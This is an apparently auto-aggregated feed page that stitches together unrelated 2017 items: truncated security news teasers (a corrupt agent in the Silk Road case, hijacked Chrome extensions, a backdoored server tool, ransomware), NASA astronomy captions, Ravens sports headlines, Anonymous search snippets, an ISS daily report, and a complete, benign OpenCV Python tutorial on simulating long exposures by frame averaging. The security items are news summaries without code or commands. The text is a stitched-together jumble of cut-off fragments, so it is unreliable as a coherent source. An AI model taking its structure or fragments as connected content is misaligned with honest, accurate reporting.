Look Ahead: Wednesday, 08/16: SpX-12 […]

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Corrupt Federal Agent, Who Stole Bitcoins From Silk Road, Pleads Guilty To Money Laundering

A former the United States Secret Service agent who stole hundreds of thousands of dollars worth of Bitcoins during an investigation into then-largest underground marketplace Silk Road has now pleaded guilty to money laundering. Shaun W. Bridges is one of two former US undercover agents who pleaded guilty in 2015 to one count of money laundering and one count of obstruction and was sentenced

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8 More Chrome Extensions Hijacked to Target 4.8 Million Users

Google's Chrome web browser Extensions are under attack with a series of developers being hacked within last one month. Almost two weeks ago, we reported how unknown attackers managed to compromise the Chrome Web Store account of a developer team and hijacked Copyfish extension, and then modified it to distribute spam correspondence to users. Just two days after that incident, some unknown

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Backdoor Found in Popular Server Management Software used by Hundreds of Companies

Cyber criminals are becoming more adept, innovative, and stealthy with each passing day. They are now adopting more clandestine techniques that come with limitless attack vectors and are harder to detect. Recently, cyber crooks managed to infiltrate the update mechanism for a popular server management software package and altered it to include an advanced backdoor, which lasts for at least 17

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Perseid by the Sea

Just after moonrise on August 12 this grain of cosmic sand fell by the sea, its momentary flash part of the annual Perseid Meteor Shower. To create the Perseid meteors, dust along the orbit of periodic comet Swift-Tuttle is swept up by planet Earth. The cometary debris plows through the atmosphere at nearly 60 kilometers per second and is quickly vaporized at altitudes of 100 kilometers or so. Perseid meteors are often bright and colorful, like the one captured in this sea and night skyscape. Against starry sky and faint Milky Way the serene view looks south and west across the Adriatic Sea, from the moonlit Dalmatian coast toward the island of Brac. via NASA http://ift.tt/2fHEKAR

Anonymous user 83b1e5

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Anonymous - General Manager

Brand new restaurant in Cambridge is looking for a General Manager, must have two years of management experience in fine dining or high volume ...

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'alt-right' in 'Operation Domestic Terrorism'

The hacking collective Anonymous on Tuesday declared it will target the “alt-right” movement and white supremacists in its next operation. “Citizens of ...

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Banana Boat Song (Anonymous) ... Title, Day O. Composer, Anonymous. Piece Style, Traditional (folk). Extra Information, Jamaican Traditional ...

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Ravens: John Harbaugh drops "Caddyshack" reference during rain-soaked practice - Jamison Hensley (ESPN)

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Faulty Firmware Auto-Update Breaks Hundreds of 'Smart Locks'

More features, more problems! Today, we are living in a digital age that is creating a digital headache for people by connecting every other unnecessary home appliance to the Internet. Last week, nearly hundreds of Internet-connected locks became inoperable after a faulty software update hit some models. Users of remotely accessible smart locks made by Colorado-based company LockState have

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Ravens: John Harbaugh indicates Breshad Perriman (hamstring) could miss entire preseason (ESPN)

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Raped Anonymous by Trappin Anonymous

@Christylezz presents Trappin Anonymous (Raped Anonymous) in this episode you will hear the story of a victim that has been sexually abused.

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ISS Daily Summary Report – 8/14/2017

SpaceX (SpX)-12 Launch: SpX-12 launched successfully today from Kennedy Space Center at 11:31 am CDT. In addition to supplies and equipment for crew members, the vehicle will deliver investigations and instruments that study cosmic ray particles, protein crystal growth, stem cell-mediated recellularization and nanosatellite technology demonstration. Capture and berthing is scheduled for August 16 at 6:00 am CDT. Multi-Omics-Mouse: The crew set up equipment and the Glove Box and performed an inventory for the JAXA Multi-Omics-Mouse investigation. Several studies have reported space flight effects on the human immune system, but the relationship between microbiota and immune dysfunction during flight remains unclear. In Multi-Omics-Mouse, food with and without fructooligosaccharides (FOS) will be used as prebiotics, which could improve the gut environment and immune function. After the flight, researchers will analyze the gut environment (microbiota and metabolites) and immune system of the mice by multi-omics analysis, and evaluate the effect of FOS during flight. Rodent Research 9 (RR-9): The crew installed and configured the Animal Habitats for the RR-9 investigation. The Ground then completed a software checkout of all the Habitats. The RR-9 experiment studies how microgravity affects the immune systems, muscles and bones of rodents during extended stays aboard the ISS.  After approximately 30 days aboard the ISS, the mice will be returned to Earth where scientists on the ground will study how their time in space has affected various tissues, including brain, muscle, heart, joint, the eyes and the immune system. Light Microscopy Module (LMM) Biophysics 3: A crewmember retrieved Biophysics 3 Plate 1 from a Minus Eighty Degree Celsius Laboratory Freezer for ISS (MELFI) and allowed it to thaw before installing it in the LMM.  The LMM was then be placed into the Fluids Integrated Rack (FIR) for a Biophysics science run.  Using the three-dimensional structure of proteins, scientists can determine how they function and how they are involved in disease. Some proteins benefit from being crystallized in microgravity, where they can grow larger and with fewer imperfections. Access to crystals grown on the ISS supports research for a wide range of diseases, as well as microgravity-related problems such as radiation damage, bone loss and muscle atrophy. This investigation identifies which proteins would benefit from crystallization in space.  Sprint Ultrasound 2:  For their Flight Day 120 Sprint Ultrasound 2 session, a crewmember, with support from an operator, configured the Ultrasound 2, placed reference marks on the calf and thigh of their right leg, donned the thigh and calf guides, and performed thigh and calf scans with remote guidance from the Sprint ground team. Ultrasound scans are used to evaluate spaceflight-induced changes in the muscle volume. The Sprint investigation evaluates the use of high intensity, low volume exercise training to minimize loss of muscle, bone, and cardiovascular function in ISS crewmembers during long-duration missions.  Lighting Effects Vision Test:  The crew will temporarily stowed Visual Performance Test hardware in their crew quarters, set the light to the correct mode, turned all other light sources in the crew quarters off, and performed a Numerical Verification Test and a Color Discrimination Test.  The crew then photographed the completed tests and transferred the photos to for downlink. The Lighting Effects investigation studies the impact of the change from fluorescent light bulbs to solid-state light-emitting diodes (LEDs) with adjustable intensity and color and aims to determine if the new lights can improve crew circadian rhythms, sleep, and cognitive performance. Habitability:  On Sunday a crewmember performed a walkthrough video in the ISS of the Combustion Integration Rack (CIR) and the Fluids Integrated Rack (FIR) in the US Laboratory.  Requested details for the video included work volume, impacts to translation in the module, layout, restraints, stowage, and recommendations for future designs. The Habitability investigation results will be used to assess the relationship between crew members and their environment in order to better prepare for future long-duration spaceflights. Observations recorded during 6 month and 1 year missions can help spacecraft designers determine how much habitable volume is required, and whether a mission’s duration impacts how much space crew members need.  Fine Motor Skills (FMS): The crew completed a series of interactive tasks during a FMS session. The FMS investigation studies how the fine motor skills are effected by long-term microgravity exposure, different phases of microgravity adaptation, and sensorimotor recovery after returning to Earth gravity. The goal of the investigation is to determine how fine motor performance in microgravity varies over the duration of six-month and year-long space missions; how fine motor performance on orbit compares with that of a closely matched participant on Earth; and how performance varies before and after gravitational transitions, including periods of early flight adaptation and very early/near immediate post-flight periods. At Home In Space:  The crew completed an At Home in Space questionnaire. This Canadian Space Agency experiment assesses culture, values, and psychosocial adaptation of astronauts to a space environment shared by multinational crews on long-duration missions. It is hypothesized that astronauts develop a shared space culture that is an adaptive strategy for handling cultural differences and they deal with the isolated confined environment of the spacecraft by creating a home in space. At Home in Space uses a questionnaire to investigate individual and culturally related differences, family functioning, values, coping with stress, and post-experience growth. Remote Power Controller Module (RPCM) P12B_B Status: On Sunday, RPCM P12B_B tripped after 2 ½ days of remaining closed. Ground teams successfully reclosed the RPC and it remains closed as of this writing. This RPC powers the S-Band transponder for String 2. The trip signature continues to indicate a Field Effect Transistor (FET) Hybrid failure. This is an external RPCM that can be Removed and Replaced (R&R) by the Special Purpose Dexterous Manipulator (SPDM). Planning is underway to perform this R&R no earlier than August 18th. Dragon On-Board Training (OBT): In preparation for SpX-12 arrival, the crew studied an overview of attached phase operations as well as attached phase configuration.  Today’s Planned Activities All activities were completed unless otherwise noted. Promotional video clip recording for Yandex on-line […]

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Warning: Two Dangerous Ransomware Are Back – Protect Your Computers

Ransomware has been around for a few years but has become an albatross around everyone's neck—from big businesses and financial institutions to hospitals and individuals worldwide—with cyber criminals making millions of dollars. In just past few months, we saw a scary strain of ransomware attacks including WannaCry, Petya and LeakerLocker, which made chaos worldwide by shutting down hospitals

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Beautiful Stories From Anonymous People #74 Holy Moly

Beautiful Stories From Anonymous People #74 August 15, 2017. Having dealt with mental health issues and an eating disorder this caller now helps ...

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[FD] QuantaStor Software Define Storage mmultiple vulnerabilities

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Stars, Gas, and Dust Battle in the Carina Nebula

Chaos reigns in the Carina Nebula where massive stars form and die. Striking and detailed, this close-up of a portion of the famous nebula is a combination of light emitted by hydrogen (shown in red) and oxygen (shown in blue). Dramatic dark dust knots and complex features revealed are sculpted by the winds and radiation of Carina's massive and energetic stars. One iconic feature of the Carina Nebula is the dark V-shaped dust lane that occurs in the top half of the image. The Carina Nebula spans about 200 light years, lies about 7,500 light years distant, and is visible with binoculars toward the southern constellation of Carina. In a billion years after the dust settles -- or is destroyed, and the gas dissipates -- or gravitationally condenses, then only the stars will remain -- but not even the brightest ones. via NASA http://ift.tt/2vx7wcO

Anothernymous, sister guild of Anonymous (#1 on PC/Mobile)

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Far-right propaganda website Daily Stormer 'hacked' by Anonymous

Hackers claiming to be members of Anonymous have taken control of the Daily Stormer's servers as well as content spreading racial hatred.

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How Just Opening A Malicious PowerPoint File Could Compromise Your PC

A few months back we reported how opening a simple MS Word file could compromise your computer using a critical vulnerability in Microsoft Office. The Microsoft Office remote code execution vulnerability (CVE-2017-0199) resided in the Windows Object Linking and Embedding (OLE) interface for which a patch was issued in April this year, but threat actors are still abusing the flaw through the

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Ravens: Ryan Mallett isn't to blame for all offensive struggles, says OC Marty Mornhinweg (ESPN)

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Gmail for iOS Adds Anti-Phishing Feature that Warns of Suspicious Links

Phishing — is an older style of cyber-attack but remains one of the most common and efficient attack vectors for attackers, as a majority of banking malware and various ransomware attacks begin with a user clicking on a malicious link or opening a dangerous attachment in an email. Phishing has evolved than ever before in the past few years – which is why it remains one of those threats that

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Ravens' banged-up 2016 draft class has reason to be superstitious - Jamison Hensley (ESPN)

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Anonymous tip leads to drugs, gun arrest in Atlantic City

An anonymous tip to Atlantic City Police on Friday resulted in a drug investigation and the arrest of a 62-year-old man. The anonymous tipster alerted ...

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Long exposure with OpenCV and Python

One of my favorite photography techniques is long exposure, the process of creating a photo that shows the effect of passing time, something that traditional photography does not capture.

When applying this technique, water becomes silky smooth, stars in a night sky leave light trails as the earth rotates, and car headlights/taillights illuminate highways in a single band of continuous motion.

Long exposure is a gorgeous technique, but in order to capture these types of shots, you need to take a methodical approach: mounting your camera on a tripod, applying various filters, computing exposure values, etc. Not to mention, you need to be a skilled photographer!

As a computer vision researcher and developer, I know a lot about processing images — but let’s face it, I’m a terrible photographer.

Luckily, there is a way to simulate long exposures by applying image/frame averaging. By averaging the images captured from a mounted camera over a given period of time, we can (in effect) simulate long exposures.

And since videos are just a series of images, we can easily construct long exposures from the frames by averaging all frames in the video together. The result is stunning long exposure-esque images, like the one at the top of this blog post.

To learn more about long exposures and how to simulate the effect with OpenCV, just keep reading.

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Long exposure with OpenCV and Python

This blog post is broken down into three parts.

In the first part of this blog post, we will discuss how to simulate long exposures via frame averaging.

From there, we’ll write Python and OpenCV code that can be used to create long exposure-like effects from input videos.

Finally, we’ll apply our code to some example videos to create gorgeous long exposure images.

Simulating long exposures via image/frame averaging

The idea of simulating long exposures via averaging is hardly a new idea.

In fact, if you browse popular photography websites, you’ll find tutorials on how to manually create these types of effects using your camera and tripod (a great example of such a tutorial can be found here).

Our goal today is to simply implement this approach so we can automatically create long exposure-like images from an input video using Python and OpenCV. Given an input video, we’ll average all frames together (weighting them equally) to create the long exposure effect.

Note: You can also create this long exposure effect using multiple images, but since a video is just a sequence of images, it’s easier to demonstrate this technique using video. Just keep this in mind when applying the technique to your own files.

As we’ll see, the code itself is quite simple but has a beautiful effect when applied to videos captured using a tripod, ensuring there is no camera movement in between frames.

Implementing long exposure simulation with OpenCV

Let’s begin by opening a new file named

long_exposure.py

 , and inserting the following code:

# import the necessary packages
import argparse
import imutils
import cv2

# construct the argument parse and parse the arguments
ap = argparse.ArgumentParser()
ap.add_argument("-v", "--video", required=True,
        help="path to input video file")
ap.add_argument("-o", "--output", required=True,
        help="path to output 'long exposure'")
args = vars(ap.parse_args())

Lines 2-4 handle our imports — you’ll need imutils and OpenCV.

In case you don’t already have

imutils

  installed on your environment, simply use

pip

 :

$ pip install --upgrade imutils

If you don’t have OpenCV configured and installed, head on over to my OpenCV 3 tutorials page and select the guide that is appropriate for your system.

We parse our two command line arguments on Lines 7-12:

• --video
  

   : The path to the video file.

• --output
  

   : The path + filename to the output “long exposure” file.

Next, we will perform some initialization steps:

# initialize the Red, Green, and Blue channel averages, along with
# the total number of frames read from the file
(rAvg, gAvg, bAvg) = (None, None, None)
total = 0

# open a pointer to the video file
print("[INFO] opening video file pointer...")
stream = cv2.VideoCapture(args["video"])
print("[INFO] computing frame averages (this will take awhile)...")

On Line 16 we initialize RGB channel averages which we will later merge into the final long exposure image.

We also initialize a count of the total number of frames on Line 17.

For this tutorial, we are working with a video file that contains all of our frames, so it is necessary to open a file pointer to the video capture

stream

  on Line 21.

Now let’s begin our loop which will calculate the average:

# loop over frames from the video file stream
while True:
        # grab the frame from the file stream
        (grabbed, frame) = stream.read()

        # if the frame was not grabbed, then we have reached the end of
        # the sfile
        if not grabbed:
                break

        # otherwise, split the frmae into its respective channels
        (B, G, R) = cv2.split(frame.astype("float"))

In our loop, we will grab frames from the

stream

  (Line 27) and split the

frame

  into its respective BGR channels (Line 35). Notice the exit condition squeezed in between — if a frame is

not grabbed

  from the stream we are at the end of the video file and we will

break

  out of the loop (Lines 31 and 32).

In the remainder of the loop we’ll perform the running average computation:

# if the frame averages are None, initialize them
        if rAvg is None:
                rAvg = R
                bAvg = B
                gAvg = G

        # otherwise, compute the weighted average between the history of
        # frames and the current frames
        else:
                rAvg = ((total * rAvg) + (1 * R)) / (total + 1.0)
                gAvg = ((total * gAvg) + (1 * G)) / (total + 1.0)
                bAvg = ((total * bAvg) + (1 * B)) / (total + 1.0)

        # increment the total number of frames read thus far
        total += 1

If this is the first iteration, we set the initial RGB averages to the corresponding first frame channels grabbed on Lines 38-41 (it is only necessary to do this on the first go-around, hence the

if

-statement).

Otherwise, we’ll compute the running average for each channel on Lines 45-48. The averaging computation is quite simple — we take the total number of frames times the channel-average, add the respective channel, and then divide that result by the floating point total number of frames (we add 1 to the total in the denominator because this is a fresh frame). We store the calculations in respective RGB channel average arrays.

Finally, we increment the total number of frames, allowing us to maintain our running average (Line 51).

Once we have looped over all frames in the video file, we can merge the (average) channels into one image and write it to disk:

# merge the RGB averages together and write the output image to disk
avg = cv2.merge([bAvg, gAvg, rAvg]).astype("uint8")
cv2.imwrite(args["output"], avg)

# do a bit of cleanup on the file pointer
stream.release()

On Line 54, we utilize the handy

cv2.merge

  function while specifying each of our channel averages in a list. Since these arrays contain floating point numbers (as they are averages across all frames), we tack on the

astype("uint8")

  to convert pixels to integers in the range [0-255].

We write the

avg

  image to disk on the subsequent Line 55 using the command line argument path + filename. We could also display the image to our screen via

cv2.imshow

 , but since it can take a lot of CPU time to process a video file, we’ll simply save the image to disk just in case we want to save it as our desktop background or share it with our friends on social media.

The final step in this script is to perform cleanup by releasing our video stream pointer (Line 58).

Long exposure and OpenCV results

Let’s see our script in action by processing three sample videos. Note that each video was captured by a camera mounted on a tripod to ensure stability.

Note: The videos I used to create these examples do not belong to me and were licensed from the original creators; therefore, I cannot include them along with the source code download of this blog post. Instead, I have provided links to the original videos should you wish to replicate my results.

Our first example is a 15-second video of water rushing over rocks — I have included a sample of frames from the video below:

Figure 1: Sample frames of river water rushing over rocks.

To create our long exposure effect, just execute the following command:

$ time python long_exposure.py --video videos/river_01.mov --output river_01.png 
[INFO] opening video file pointer...
[INFO] computing frame averages (this will take awhile)...

real    2m1.710s
user    0m50.959s
sys             0m40.207s

Figure 2: Long exposure of 15 seconds of river water rushing over rocks, constructed by averaging frames with Python and OpenCV.

Notice how the water has been blended into a silky form due to the averaging process.

Let’s continue with a second example of a river, again, with a montage of frames displayed below:

Figure 3: Sample frames of another river.

The following command was used to generate the long exposure image:

$ time python long_exposure.py --video videos/river_02.mov --output river_02.png 
[INFO] opening video file pointer...
[INFO] computing frame averages (this will take awhile)...

real    0m57.881s
user    0m27.207s
sys             0m21.792s

Figure 4: Long exposure of a second river which makes the water look silky smooth (created using OpenCV).

Notice how the stationary rocks remain unchanged, but the rushing water is averaged into a continuous sheet, thus mimicking the long exposure effect.

This final example is my favorite as the color of the water is stunning, giving a stark contrast between the water itself and the forest:

Figure 5: Sample frames of a rushing river through a forest

When generating the long exposure with OpenCV, it gives the output a surreal, dreamlike feeling:

$ time python long_exposure.py --video videos/river_03.mov --output river_03.png 
[INFO] opening video file pointer...
[INFO] computing frame averages (this will take awhile)...

real    3m17.212s
user    1m11.826s
sys             0m56.707s

Figure 6: A dream-like long exposure of a river through a forest created using Python and OpenCV.

Different outputs can be constructed by sampling the frames from the input video at regular intervals rather than averaging all frame. This is left as an exercise to you, the reader, to implement.

Summary

In today’s blog post we learned how to simulate long exposure images using OpenCV and image processing techniques.

To mimic a long exposure, we applied frame averaging, the process of averaging a set of images together. We made the assumption that our input images/video were captured using a mounted camera (otherwise the resulting output image would be distorted).

While this is not a true “long exposure”, the effect is quite (visually) similar. And more importantly, this allows you to apply the long exposure effect without (1) being an expert photographer or (2) having to invest in expensive cameras, lenses, and filters.

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